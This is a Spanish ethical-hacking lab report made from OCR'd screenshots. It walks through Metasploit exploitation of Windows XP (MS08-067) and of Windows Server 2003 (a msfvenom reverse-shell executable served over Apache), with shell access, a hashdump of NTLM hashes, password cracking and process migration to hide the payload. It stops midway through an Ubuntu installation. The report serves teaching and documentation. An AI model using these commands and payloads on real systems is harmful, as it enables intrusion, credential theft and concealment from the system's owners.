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1. INTRODUCCION

El presente informe tiene como propdsito documentar una practica de hacking ético realizada en
un entorno controlado, empleando como herramientas y sistemas principales Ubuntu, Windows
XP, Windows Server 2003 y Ubuntu. Se detallaran paso a paso las configuraciones y comandos
implementados para lograr explotar las vulnerabilidades de las maquinas objetivo (Windows XP,

Windows Server 2003 y Ubuntu).
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2. OBJETIVOS

Objetivo General

Realizar pruebas de hacking ético en un entorno controlado, utilizando diferentes

sistemas operativos, con el fin de comprender sus vulnerabilidades.

Objetivos Especificos

e Configurar un entorno controlado de pruebas que incluya Ubuntu, Windows
XP, Windows Server 2003 y Linux Mint, para explotar las vulnerabilidades.

e Identificar vulnerabilidades comunes presentes en los sistemas seleccionados.

e Aplicar técnicas de explotacion controlada para demostrar como un atacante
podria aprovechar dichas vulnerabilidades.

¢ Documentar los hallazgos para tener en cuenta en los sistemas reales.
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3. CAPITULO #1: DESARROLLO DEL LABORATORIO

3.1 Escaneo a la IP de Windows XP

El primer paso para la explotacion de la maquina virtual Windows XP, es realizar un
escaneo para detectar vulnerabilidades y en base a eso, tomar acciones y saber que puertos

atacar.

yeiber@Yeiber: ~

Archivo Acciones Editar Vista Ayuda

~

Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-02 09:19 -05

Nmap scan report for 178.90.90.5.dynamic.telecom.kz (178.90.90.5)

Host is up (0.00077s latency).

Not shown: 996 closed tcp ports (reset)

PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds

3389/tcp open ms-wbt-server Microsoft Terminal Services

MAC Address: ©08:00:27:78:DB:69 (PCS Systemtechnik/Oracle VirtualBox virtual N
IC)

Device type: general purpose

Running: Microsoft Windows XP|2003

0S CPE: cpe:/o:microsoft:windows_xp::sp3:embedded cpe:/o:microsoft:windows_xp
::sp2 cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_server_2003
0S details: Microsoft Windows XP SP2 or SP3, or Windows Embedded Standard 200
9, Microsoft Windows XP SP2 or SP3, or Windows Server 2003

Network Distance: 1 hop

Service Info: 0Ss: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o
:microsoft:windows_xp

0S and Service detection performed. Please report any incorrect results at ht
tps://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 10.85 seconds

Hustracion 1-scaneo a la IP de Windows XP
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3.2 Ingreso al msfconsole y cargar el exploit

Antes de cargar el exploit, es necesario ingresar al modo de consola de metasploit, esto lo
hacemos con el comando msfconsole, Una vez entramos a la consola, cargamos el exploit tipico

de XP, como se muestra en la siguiente imagen.

=[ metasploit v6.4.64-dev
+ — —=[ 2519 exploits - 1296 auxiliary - 431 post
+ — —=[ 1610 payloads - 49 encoders - 13 nops
+ — —=[ 9 evasion

Metasploit Documentation: https://docs.metasploit.com/

msf6 > use exploit/windows/smb/ms08_067 netapi
No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit( ) > |

llustracion 2-Ingreso al msfconsole y cargar el exploit

3.3 Configuracion y Preparacion para el Ataque

El proceso de explotacion continud con la configuracion de los parametros dentro de la
consola de Metasploit. Una vez seleccionado el exploit windows/smb/ms08 067 netapi, se

procede a configurar las IP.

En primer lugar, se establecio la direccion IP de la maquina objetivo (el sistema Windows
XP), que fue designada como 178.90.90.5 mediante el comando set RHOSTS. Posteriormente,
se defini6 la direccion IP de la maquina atacante, 178.90.90.6, utilizando el comando set
LHOST. Esta IP es fundamental, ya que es el punto de escucha al cual se conectara el payload

una vez que el ataque sea exitoso.
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Para garantizar la correcta configuracion antes de la ejecucion, se utilizo el comando
show options. Esto permitio6 verificar que todos los pardmetros del exploit y del payload,
incluido el puerto de escucha (4444) para la conexion reverse_tcp, estuvieran correctamente

establecidos.

yeiber@Yeiber: ~

Archivo Acciones Editar Vista Ayuda

msf6 exploit( ) > set RHOSTS 178.90.90.5
RHOSTS = 178.90.90.5

msf6 exploit( ) > set LHOST 178.90.90.6
LHOST = 178.90.90.6

msf6 exploit( ) > show options

Module options (exploit/windows/smb/ms@8_067_netapi):

Name Current Setting Required Description

RHOSTS 178.90.90.5 yes The target host(s), see https://docs
.metasploit.com/docs/using-metasploi
t/basics/using-metasploit.html

RPORT 445 yes The SMB service port (TCP)

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSV
C)

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC thread yes Exit technique (Accepted: '*, seh,
thread, process, none)

LHOST 178.90.90.6 yes The listen address (an interface ma
y be specified)

LPORT INANA yes The listen port

llustracion 3-Configuracion y Preparacion para el Ataque
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3.4 Ejecucion del Exploit y Obtencion de Acceso

Una vez obtenida la sesion de Meterpreter, Se pudo interactuar con el sistema

comprometido. Se ejecutaron los siguientes comandos:

o sysinfo: Se utiliz6 este comando para obtener informacion detallada del sistema,
confirmando que la maquina objetivo es Windows XP Service Pack 3. La informacion
muestra el nombre del equipo (YEIBER-E7ESFEG63), la arquitectura (x86) y el idioma

(espaiiol), validando la informacion que se ve en la ilustracion.

o getuid: Este comando se empled para verificar los privilegios de la sesion actual. El
resultado Server username: NT AUTHORITY\SYSTEM esto es importante, ya que
confirma que se ha obtenido el maximo nivel de privilegios en el sistema, lo que permite

realizar practicamente cualquier accion.

La obtencion de una sesion con privilegios SYSTEM demuestra que la explotacion de la

vulnerabilidad fue completa y exitosa.
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o yeiber@Yeiber: ~
Archivo Acciones Editar Vista Ayuda

and '?° was replaced with '#*' in regular expression
178.90.90.5:445 - Fingerprint: Windows XP - Service Pack 3 - lang:Spanish
178.90.90.5:445 - Selected Target: Windows XP SP3 Spanish (NX)
178.90.90.5:445 - Attempting to trigger the vulnerability...
Sending stage (177734 bytes) to 178.90.90.5
Meterpreter session 1 opened (178.90.90.6:4444 — 178.90.90.5:1040) at 20
25-09-02 09:36:25 -0500

meterpreter
meterpreter
meterpreter
meterpreter

meterpreter sysinfo

Computer : YEIBER-E7ESFE63
(0 : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture : x86
System Language : es_ES
Domain : INICIOMS
Logged On Users : 2
Meterpreter : x86/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > getsiystem
Unknown command: getsiystem. Did you mean getsystem? Run the Lp command
for more details.
meterpreter > getsystem
Already running as SYSTEM
meterpreter > |j

llustracion 4-Ejecucion del Exploit y Obtencion de Acceso

3.5 Extraccion de Credenciales

Una vez que se obtuvo acceso al sistema con privilegios elevados (NT
AUTHORITY\SYSTEM), se procedi6 a la fase de post-explotacion. El objetivo fue extraer las

credenciales de los usuarios locales del sistema comprometido.

Para lograr esto, se ejecutd el comando hashdump en la sesion de Meterpreter. Este
comando extrae los hashes NTLM de los usuarios almacenados en la base de datos de seguridad

del sistema (SAM).
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meterpreter > hashdump
Administrador:500:34a6542eb962fe9f7584248b8d2c9f9e:7507356c6400cbad5adceef222
32afb7:::

Asistente de ayuda:1000:9691f07e6cf8fd79583d8d67e59e23d6:c6b980834Fe38f4ca83a
lcc37ff62f9%e:::

Invitado:501:a3ad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73¢c59d7e@c@89cC
0...

SUPPORT_388945a0:1002 :aad3b435b51404eceaad3b435b51404ee:2a1913122711F303b0480D
0666793965 :::

Yeco:1003:a3ad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73¢c59d7e@c@89cO ::

meterpreter > [j
lustracion 5-Extraccion de Credenciales

3.6 Cracking de Contraseiias Offline

Después de obtener los hashes de los usuarios, se procedi6 a la fase de cracking de
contraseiias para intentar obtener el texto plano de las mismas. Este proceso se llevé a cabo

utilizando una herramienta en linea conocida como crackstation.

Se ingresaron los hashes de los usuarios Administrador y Yeco en la herramienta. Como
se puede observar en la imagen, el hash del usuario Administrador

(7507356c6400cbad5Sadceef22232atb7) fue descifrado con éxito, revelando que la contrasefia en

texto plano es colombia.

Free Password Hash Cracker

Enter up to 20 non-salted hashes, one per line:

7587356c6488chadSadceef22232ath7
31d6cfedd16aed31b73c59d7e8cB89cO

322473d5b83089754937b792F6c92blc . No soy un robot R
reCAPTCHA

Supports: LM, NTLM, md2, md4, mdS, md5(md5_hex), md5-half, shal, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (shal(shai_bin)),
QubesV3.1BackupDefaults

Hash Type Result

llustracion 6-Cracking de Contraserias Offline
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Este comando muestra una lista de todos los procesos que se estan ejecutando en el
sistema comprometido. El analisis de esta lista es fundamental para entender la actividad del
sistema, identificar aplicaciones en funcionamiento y, potencialmente, descubrir procesos

sospechosos o de interés para la post-explotacion.
Como se puede ver en la imagen, el listado de procesos incluye detalles como:
e PID (Process ID): Un numero tnico que identifica cada proceso.
o PPID (Parent Process ID): El identificador del proceso que inicid el proceso actual.
e Name: El nombre del archivo ejecutable del proceso, como smss.exe o winlogon.exe.

o User: El usuario bajo el cual se esta ejecutando el proceso. Se observa que la mayoria de
los procesos criticos se ejecutan con privilegios de NT AUTHORITY\SYSTEM,

mientras que otros, como ctfmon.exe y wuauclt.exe, se ejecutan bajo el usuario local

Yeco.

meterpreter > ps

Process List

Name Session

[System Pr
ocess]
System
Smss.exe
alg.exe
ctfmon.exe

CSrss.exe

winlogon.e
xe

services.e
xe
lsass.exe

wuauclt.ex
e

[lustracion 7-Procesos

NT AUTHORITY\SYS
TEM

NT AUTHORITY\SYS
TEM

NT AUTHORITY\SER
VICIO LOCAL
YEIBER-E7ESFE63\
Yeco

NT AUTHORITY\SYS
TEM

NT AUTHORITY\SYS
TEM

NT AUTHORITY\SYS
TEM
NT AUTHORITY\SYS
TEM
YEIBER-E7E5FE63\
Yeco

\SystemRoot\Syste
m32\smss.exe
C:\WINDOWS\System
32\alg.exe
C:\WINDOWS\system
32\ctfmon.exe

\ 72\ C:\WINDOWS\sy
stem32\csrss.exe
\ 72\ C:\WINDOWS\sy
stem32\winlogon.e
xe
C:\WINDOWS\system
32\services.exe
C:\WINDOWS\system
32\lsass.exe
C:\WINDOWS\system
32\wuauclt.exe
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3.7 Interaccion Directa con la Consola del Sistema

Tras el reconocimiento de los procesos, Se optd por establecer una interaccion directa con
la linea de comandos del sistema operativo comprometido. Se utiliz6 el comando shell dentro de

la sesion de Meterpreter, el cual generd una nueva sesion de consola.

Una vez dentro de la shell, se verifico la version del sistema operativo. La respuesta de la
consola confirmé que se trataba de Windows XP [Version 5.1.2600], validando la informacion

obtenida en pasos anteriores.

Posteriormente, se ejecutaron comandos basicos de navegacion y reconocimiento del

sistema de archivos:

e cd..: Se utiliz6 este comando en repetidas ocasiones para moverse a los directorios

superiores, hasta llegar a la raiz del disco (C:\>).

e dir: Una vez en el directorio raiz, se ejecutd este comando para listar el contenido. La
salida mostr¢ las carpetas estandar de un sistema Windows, como Archivos de

programa, Documents and Settings y WINDOWS.
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meterpreter > shell

Process 1452 created.

Channel 1 created.

Microsoft Windows XP [Versien 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>cd
cd

C:\WINDOWS>cd
cd

C:\>dir

dir
El volumen de 1la unidad C no tiene etiqueta.
El nemero de serie del volumen es: 5C6F-9766

Directorio de C:\

25/07/2025 17:14 Archivos de programa
25/07/2025 17:12 AUTOEXEC.BAT
25/07/2025 17:12 CONFIG.SYS
25/07/2025 17:14 <DIR> Documents and Settings
25/07/2025 20:27 <DIR> WINDOWS

2 archivos 0 bytes

3 dirs 40.049.090.560 bytes libres

c:\>f

lustracion 8-Interaccion Directa con la Consola del Sistema

3.8 Navegacion hacia el Directorio del Usuario

Con el acceso a la linea de comandos, el siguiente objetivo fue explorar el sistema de
archivos para encontrar informacion sensible. Primero nos dirigimos al directorio Documents
and Settings, Una vez en este directorio, se utilizo el comando dir para listar su contenido. La

salida mostro6 las carpetas de los usuarios All Users y Yeco.

El investigador procedié a navegar hacia la carpeta del usuario Yeco utilizando el
comando c¢d Yeco. Una vez dentro de este directorio, se ejecutd nuevamente el comando dir para

listar los contenidos.
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yeiber@Yeiber: ~

Archivo Acciones Editar Vista Ayuda

C:\Documents and Settings>dir

dir
El volumen de la unidad C no tiene etiqueta.
El nemero de serie del volumen es: 5C6F-9766

Directorio de C:\Documents and Settings

25/07/2025 17:14 <DIR>
25/07/2025 17:14 <DIR> a5
25/07/2025 17:12 <DIR> All Users
25/07/2025 17:14 <DIR> Yeco
@ archivos @ bytes
4 dirs 40.049.090.560 bytes libres

C:\Documents and Settings>Yeco

Yeco

"Yeco"” no se reconoce como un comando interno o externo,
programa o archivo por lotes ejecutable.

C:\Documents and Settings>cd YeCO
cd YeCO

C:\Documents and Settings\Yeco>cd Yeco
cd Yeco
El sistema no puede hallar la ruta especificada.

C:\Documents and Settings\Yeco>dir
dir

llustracion 9-Navegacion hacia el Directorio del Usuario

Para demostrar el control total sobre el sistema, se procedié a manipular el sistema de
archivos. Se utilizo el comando mkdir para crear un nuevo directorio llamado LA-MAQUINA.
La creacion de esta carpeta es una prueba del nivel de acceso obtenido, ya que el atacante puede

crear, modificar y eliminar archivos en directorios criticos del sistema.

Este paso finaliza la demostracion de la explotacion del sistema, desde el escaneo inicial
hasta la manipulacion de archivos, confirmando que se ha logrado un control total sobre la

maquina con Windows XP
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C:\Documents and Settings\Yeco>cd Escrx
cd Escr*

C:\Documents and Settings\Yeco\Escritorio>
C:\Documents and Settings\Yeco\Escritorio>dir
dir
El volumen de la unidad C no tiene etiqueta.
El nemero de serie del volumen es: 5C6F-9766

Directorio de C:\Documents and Settings\Yeco\Escritorio

01/09/2025 15:55 <DIR>
01/09/2025 15:55 <DIR> o
01/09/2025 15:55 <DIR> UTCH-PRIVIL
@ archivos @ bytes
3 dirs 40.049.090.560 bytes libres

C:\Documents and Settings\Yeco\Escritorio>mkdir LA-MAQUINA
mkdir LA-MAQUINA

C:\Documents and Settings\Yeco\Escritorio>jj

llustracion 10-Creacion de carpeta

3.9 Verificacion Visual de la Explotacion

Para finalizar se presenta una imagen del escritorio, es una prueba definitiva del éxito de
la explotacion, ya que muestra el directorio LA-MAQUINA que fue creado de forma remota en
el paso anterior. Confirma que se obtuvo control total sobre el sistema y se pudo manipular el

sistema de archivos a través de la linea de comandos.
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LITCH-PRIVIL®

LA-MAQUINA

llustracion 11-Verificacion Visual de la Explotacion

4 CAPITULO #2: DESARROLLO DEL LABORATORIO

4.1 Creacion del directorio de trabajo

Como punto de partida, se cre6 un directorio en el sistema Kali Linux con el fin de almacenar los
archivos generados durante la préactica. Este procedimiento se realizo mediante el comando

mkdir, que permite crear carpetas en el sistema de archivos Linux.

El comando ejecutado fue el siguiente:
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: root@Yeiber: /lhome/yeiber

Archivo Acciones Editar Vista Ayuda

/home/yeiber
CLASE
mkdir: cannot create directory ‘CLASE’': ELl fichero ya existe

/home/yeiber

llustracion 12-Creacion del directorio de trabajo

4.1 Creacion del payload con msfvenom

Para generar el archivo malicioso que permitiera abrir una sesion Meterpreter en el servidor
Windows 2003, se utilizé la herramienta msfvenom, la cual forma parte de la suite de Kali
Linux. Esta utilidad permite construir ejecutables que contienen cargas utiles personalizadas, en

este caso, configuradas para establecer una conexion inversa hacia la maquina atacante.

El comando utilizado fue el siguiente:

/home/yeiber/CLASE
windows/meterpreter/reverse_tcp LHOST=178.90.90.6 LPORT=4678

exe > /home/yeiber/CLASE/satena.exe
[-] No platform was selected, choosing Msf ::Module::Platform::Windows from th

e payload

[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload

Payload size: 354 bytes

Final size of exe file: 73802 bytes

llustracion 13-Creacion del payload con msfvenom
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4.2 Configuracion de servidor web para transferencia del ejecutable

Con el proposito de facilitar la transferencia del archivo satena.exe hacia el servidor
Windows 2003, se utiliz6 el servicio Apache2, el cual permite compartir archivos mediante el

protocolo HTTP.

El primero comando inicia el servicio, mientras que el segundo permite verificar su
estado de ejecucion. Como se observa en la ilustracion 3, el servidor se encuentra en estado

active (running), lo que confirmo que el servicio se encuentra habilitado y en funcionamiento.

/home/yeiber/CLASE
apache2 star
Usage: apache2 {start|stoplgraceful-stoplrestart|reload|force-reload}

/home/yeiber/CLASE
apache2 start

/home/yeiber/CLASE
apache2 status
e apache2.service - The Apache HTTP Server
Loaded: loaded (/usr/lib/systemd/system/apache2.service; disabled; pres>
Active: active (running) since Mon 2025-09-01 16:13:20 -05; 10s ago
Invocation: f98540710e3a4d7dab58aa5c7b9284d2

Docs: https://httpd.apache.org/docs/2.4/

Process: 34876 ExecStart=/usr/sbin/apachectl start (code=exited, status=>
Main PID: 34892 (apache2)

Tasks: 6

Memory: 21.5M (peak: 21.7M)
CPU: 62ms

CGroup: /system.slice/apache2.service

llustracion 14-Configuracion de servidor web para transferencia del ejecutable

4.3 Publicacion del ejecutable en el servidor web

Para garantizar que la maquina Windows Server 2003 pudiera acceder al ejecutable
malicioso, se copio el archivo satena.exe al directorio raiz de Apache, ubicado en

/var/www/html.
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Primero, se otorgaron permisos de escritura al directorio con el comando:
chmod 777 /var/www/html

Posteriormente, desde la carpeta de trabajo /home/yeiber/CLASE, se traslado el archivo

generado al directorio del servidor web:

cp satena.exe /var/www/html

/home/yeiber/CLASE
777 /var/ww/html

/home/yeiber/CLASE
/home/yeiber/CLASE

/home/yeiber/CLASE
satena.exe shell2003.exe

/home/yeiber/CLASE
satena.exe /var/ww/html

/home/yeiber/CLASE
/var/ww /html
cp: falta el fichero de destino después de '/var/www/html’
Pruebe ‘cp ——help' para mas informacion.

/home/yeiber/CLASE

/home/yeiber/CLASE
/var/wmi/html

llustracion 15-Publicacion del ejecutable en el servidor web

4.4 Acceso al archivo malicioso desde la maquina victima

Desde la maquina Windows Server 2003, se utilizo el navegador Internet Explorer

para acceder al servidor web configurado en Kali Linux mediante la direccion:

http://178.90.90.6/
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Al ingresar, se pudo observar un indice con los archivos disponibles en el directorio raiz
del servidor. Dentro de este listado se encontraba el archivo satena.exe, previamente generado

con msfvenom y cargado en la carpeta /var/www/html de Apache.

/3 Index of / - Microsoft Internet Explorer =1a|=
Archivo  Edicion  Mer Favoribos  Herramientas  Avuda ‘ #
a.ﬂtrés > |ﬂ @ ,:f | ,}:'Bﬂsqueda ' Favoritos & | T il E

Direcrion €] http://178.90,90,6/ j Ir Yinculos

"

Index of /

Name Last modified Size Description

mndex nonm-debdan. html 2025-07-18 13:09 615
mndex? hirml 2025-07-18 1311 10K
satena. exe 2025-09-01 16:25 72K

Apache/2.4.63 Dekian) Server af 17890906 Fare 80

-

|&] Lista [Administre su servidor] ’_ I_ I_ I_ ’_ /& sitios de corfianza
fﬂlniciul | a [ | =} Administre su servidor "Eﬁ Index of / - Microsoft ... | W) 1725

llustracion 16-Acceso al archivo malicioso desde la maquina victima

4.5 Busqueda y seleccion del médulo handler

Para recibir la conexion del payload malicioso generado con msfvenom, fue necesario

buscar y cargar el modulo adecuado dentro de Metasploit.

Se utilizo el comando: search multi’handler
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El resultado mostré varios mddulos disponibles, destacando el exploit/multi/handler, el
cual actlia como un receptor genérico de payloads. Este médulo es indispensable para gestionar

la sesion que se establecerd desde la maquina victima hacia el atacante.

msf6 > search multi/handler

Matching Modules

Name Disclosure Date
Check Description

exploit/linux/local/apt_package_manager_persistence 1999-03-09
- No APT Package Manager Persistence
exploit/android/local/janus 2017-07-31
manual Yes Android Janus APK Signature bypass
2 auxiliary/scanner/http/apache_mod_cgi_bash_env 2014-09-24
normal Yes Apache mod_cgi Bash Environment Variable Injection (Shellsh
ock) Scanner
3 exploit/linux/local/bash_profile_persistence 1989-06-08
normal No Bash Profile Persistence
4 exploit/linux/local/desktop_privilege_escalation 2014-08-07
l Yes Desktop Linux Password Stealer and Privilege Escalation
5 \_ target: Linux x86

6 \_ target: Linux x86_64
7  exploit/multi/Randler

manual No Generic Payload Handler
8 exploit/windows/mssql/mssqgl_linkcrawler 2000-01-01

llustracion 17-Busqueda y seleccion del modulo handler

4.6 Ejecucion del Listener y Establecimiento de la Sesion Meterpreter
Con el listener ya configurado en Metasploit, el ultimo paso en la maquina atacante (Kali

Linux) fue ponerlo en marcha.

Se ejecutod el comando exploit para iniciar el receptor (handler) y dejarlo en un estado de

espera activa, listo para recibir la conexion del ejecutable satena.exe desde el equipo victima.
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msf6 > use 7
Using configured payload generic/shell_reverse_tcp
msf6 exploit( ) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD = windows/meterpreter/reverse_tcp
msf6 exploit( ) > set LHOST 178.90.90.6
LHOST = 178.90.90.6

msf6 exploit( ) > set LPORT 4678
LPORT = 4678
msf6 exploit( ) > exploit
Started reverse TCP handler on 178.90.90.6:4678
Sending stage (177734 bytes) to 178.90.90.7
Meterpreter session 1 opened (178.90.90.6:4678 — 178.90.90.7:1036) at 20
25-09-01 16:38:47 -0500

llustracion 18-Ejecucion del Listener y Establecimiento de la Sesion Meterpreter

4.7 Ejecucion del Payload en la Maquina Victima

Una vez que se confirm¢ la accesibilidad del archivo malicioso desde la maquina victima,

el siguiente paso fue su ejecucion para desencadenar la conexién inversa.

El archivo satena.exe fue descargado y ejecutado directamente en el escritorio del
servidor Windows 2003, en el instante en que el usuario en Windows Server 2003 ejecuto el

archivo malicioso, se establecidé inmediatamente la conexion inversa
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Asistente para
configuracia, .,

satena, exe

llustracion 19-Ejecucion del Payload en la Mdquina Victima

4.8 Escala de privilegios

Se utilizé el comando sysinfo para recopilar detalles del sistema, incluyendo el nombre

del equipo, la version del sistema operativo (Windows Server 2003), la arquitectura y el idioma.

A continuacion, se utilizo el comando getuid para obtener el nombre del usuario con el
que se estaba ejecutando la sesion. La respuesta, YEIBER-YWC95AFB\Administrador,
confirm6 que la sesion se habia establecido con privilegios de administrador, lo que otorga un

control total sobre el sistema.

Luego se ejecuto el comando getsystem con el objetivo de elevar los privilegios de la

sesion al nivel de NT AUTHORITY\SYSTEM, el cual es el mas alto en un sistema Windows.
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meterpreter > sysindo

Unknown command: sysindo. Did you mean info? Run the he command for
more details.
meterpreter > sysinfo
Computer : YEIBER-YWC95AFB
0S : Windows Server 2003 (5.2 Build 3790, Service Pack 1).
Architecture : x86

System Language : es_ES

Domain : GRUPO_TRABAIJO

Logged On Users : 2

Meterpreter : x86/windows

meterpreter > getuid

Server username: YEIBER-YWC95AFB\Administrador

meterpreter > getsystem
llustracion 20-Privilegios

4.9 Extraccion de Hashes y Enumeracion de Procesos
Para demostrar el control y los privilegios obtenidos, se utilizaron comandos clave que
permiten interactuar de manera profunda con el sistema operativo de la victima.
4.9.1 Extraccion de Hashes de Contrasefas

El comando hashdump se utilizé para extraer los hashes de contrasefas de los usuarios
locales del sistema comprometido. En la captura se observan los hashes de los usuarios

Administrador e Invitado.
4.9.2 Enumeracion de Procesos
Posteriormente, se ejecutd el comando ps para obtener una lista completa de los procesos

en ejecucion en el sistema.

La lista de procesos mostr6 informacion detallada como el PID el nombre del proceso, la
arquitectura y el usuario bajo el cual se ejecuta, confirmando que se tiene una visibilidad total del

sistema.
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meterpreter > hashdump
Administrador:500:4ec19744254597e2b8611ddcc23c95ed:822473d5b83089f54937b792f6
c92blc:::
Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73¢c59d7e@c089cC
0:::
SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:a9187c3cefbb8f8935038b
a3el492ebs i

meterpreter > ps

Process List

Name Session User
[System Pr
ocess]
System NT AUTHORITY\SYS
TEM
TEXPLORE.E YEIBER-YWC95AFB\ C:\Archivos de pr
XE Administrador ograma\Internet E
xplorer\IEXPLORE.

llustracion 21-Extraccion de Hashes y Enumeracion de Procesos

4.10 Migracion de Procesos

Para asegurar la persistencia de la sesion y evitar que se cierre si el proceso inicial
(satena.exe) es terminado, se realizd una migracion de la sesion Meterpreter al proceso

(explorer.exe).

Se utilizé el comando migrate para mover la sesion al proceso con el PID (ID de

proceso)

migrate 324 392

llustracion 22-Migracion de Procesos
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4.11 Verificacion de la Migracion de Procesos

Una vez se ejecutaron los comandos para realizar la migracion, nos vamos al

administrador de tares para verificar que el ejecutable satena.exe no sea visible en los procesos.

El pdministrador de tareas de Windows

archivo  Opriones  Mer  Avuda

=10l x|

Aplicaciones  Procesos IRendimientD I Funciones de red I Isuarios I

Mombre de imagen | Mombre de usuario | ZPLI | s de m, .. | ﬂ
sychosk,exe SYSTEM an 1,836 KB
msdbe,exe Servicio de red oo 3.612 KB
spoalsy, exe SYSTEM an 4.012 KB
sychosk,exe SYSTEM an 16,096 KB
swchost,exe SERNICIO LOCAL oo 4,700 KB
svchiosk,exe Servicio de red oo 3,864 KB
svchiosk,exe Servicia de red oo 2,920 KB
oobechk, exe Administrador oo 1.652 KB
sychosk,exe SYSTEM an 2,328 KB
mshta.exe Administradar oo 3195 KB
lsass,exe SYSTEM an 6.624 KB
SErvices. exe SYSTEM an 3192 KE
winlogon, exe SYSTEM an 4,424 KB
C5Fs5,BxE SHSTEM an 4,020 KB
adrniniskr ador g8.784 KB
SMSS, BXE SYSTEM an 428 kKB
IEXPLORE.EXE adrministr ador oo 1.454 KB
Swskem SYSTEM oo 212 KB |-
Praceso inackiva d... S¥YSTEM Q9 16 KB (=
[ Mostrar procesos de bodos los usuarios Terminar proceso
|F'rn:n:es::ns: 26 |LIs::| de CPL: 0% |Car-:|a de fransacciones: 990 ~

llustracion 23-Verificacion de la Migracion de Procesos
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S5 CAPITULO #2: DESARROLLO DEL LABORATORIO

En este capitulo 2, vamos a implementar la misma logica de trabajo que el anterior, pero
con una maquina objetivo diferente, en este caso trabajaremos con Ubuntu, vamos a realizar el

mismo hacking en Ubuntu

5.1 Instalacion de Ubuntu

En este apartado seleccionamos la primera opcion para arrancar con la configuracion e

mstalacion de Ubuntu,

| P4

GHU GRUB wersion 2.12

Try or Install Ubuntu

Ubuntu (safe graphics)
Test memory

Use the T and | keys to select which entry is highlighted.
Press enter to boot the selected D3, ‘e’ to edit the commands

i}

before booting or 'c’ for a command-line.

B @& = 810 #] cTRL DERECHA

Llustracion 24-Instalacion de Ubuntu
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5.1.1 Configuracion Inicial: Seleccion de Idioma

Después de iniciar el instalador de Ubuntu, el primer paso que se le presenta al usuario es
la seleccion del idioma. La imagen muestra una lista de opciones, con Espaiiol como una de

ellas.

Welcome to Ubuntu *

Choose your language:

Dansk
Deutsch
Eesti
& Ubuntu cnglis
Espafol
Esperanto

Fuskara

[ Next

llustracion 25-Configuracion Inicial: Seleccion de Idioma

5.1.2 Tipo de Instalacion

En esta etapa del proceso de instalacion de Ubuntu, se nos presentan dos opciones
principales. Como se muestra en la imagen, se debe seleccionar una para continuar con el

Proceso:

o Instalar Ubuntu: Esta opcion realiza una instalacion completa del sistema operativo en

el disco duro virtual.
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e Probar Ubuntu: Esta opcion permite al usuario iniciar una sesion de Ubuntu para
explorar y probar el sistema operativo sin realizar ninguna modificacién permanente en el

disco.

En este caso elegiremos la primera opcion, Instalar Ubuntu, ya que el objetivo es
configurar una maquina de ataque permanente para su uso en futuros laboratorios de pruebas de

penetracion.

Probar o instalar Ubuntu be

;Qué quiere hacer con Ubuntu?

(o] Instalar Ubuntu
Instalar Ubuntu junto con (o en lugar de) su sistema
operative actual. No deberia tardar mucho.

™) Probar Ubuntu
Puede probar Ubuntu sin efectuar ningtn cambio en el
equipo

Alras [ ] Siguiente

llustracion 26-Tipo de Instalacion

5.1.3 Configuracion del Disco de Instalacion

En esta etapa, se muestran las opciones para la configuracion del disco. La imagen

muestra dos opciones principales:
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e Borrar disco e instalar Ubuntu: Esta es la opcion mas sencilla y la que se recomienda
para una instalacion limpia. Borra todos los datos del disco y realiza una instalacion

desde cero.

o Instalacion manual: Esta opcidn es para usuarios avanzados que desean crear

particiones personalizadas.

Configuracion del disco X

;Coémo quieres instalar Ubuntu ?

© Borrar disco e instalar Ubuntu
Comience desde cero en el disco seleccionado.

o Nada

Funcionalidades avanzadas...
seleccionado

7 Instalacién manual
Para usuarios avanzados que buscan configuraciones
de disco personalizadas

Atrés [ ] Siauiente

llustracion 27-Configuracion del Disco de Instalacion
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5.1.4 Creacion del Usuario de la Maquina Virtual

En este punto del proceso de instalacion, el sistema solicito la creacion de una cuenta de
usuario principal. Esta cuenta es fundamental, ya que se utilizar4 para iniciar sesion y administrar

el sistema.
Se establecieron los siguientes datos para la cuenta:
e Su nombre: Victima
e Nombre del equipo: victima-VirtualBox
e Nombre de usuario: victima

Se definid una contrasefia, la cual fue confirmada en el campo correspondiente. Es
importante destacar que la contrasefia se mostréo como aceptable, lo que indica que cumplia con

los requisitos basicos de seguridad del instalador de Ubuntu.

Cree su cuenta x

Cree su cuenta

Su nombre

Victima []
El nombre del equipa

victima-VirtualBox ]
Elija un nombre de usuaria

victima ]
Elij a

.......... @ Mostrar Contrasefa aceptable
Confirme su contraseia

Solicitar mi contrasefia para acceder

Utilizar Active Directory

Atras L] Siauiente

llustracion 28-Creacion del Usuario de la Maquina Virtual
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5.1.5 Configuracion de la Zona Horaria

Como parte de las etapas finales de la instalacion, el sistema solicité la configuraciéon de
la zona horaria. Esta configuracion es crucial para asegurar que la maquina virtual registre los

eventos y los archivos con la hora y fecha correctas.

Como se puede ver en la imagen, se seleccion6 la ubicacion Bogota D.C., Colombia
directamente en el mapa mundial. Esta accion configur6é autométicamente el huso horario a

America/Bogota.

Seleccione su huso horario X

Ubicacion Huso horario
Bogota (Bogota D.C., Colombia) America/Bogota

Atras ® Siguiente

llustracion 29-Configuracion de la Zona Horaria

5.1.6 Revision y Finalizacion de la Instalacion

En la ultima etapa del proceso de instalacion, el instalador presenté un resumen completo

de todas las selecciones y configuraciones realizadas. Esta pantalla, titulada Listo para instalar,
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sirve como un punto de control final antes de que el proceso irreversible de instalacion de

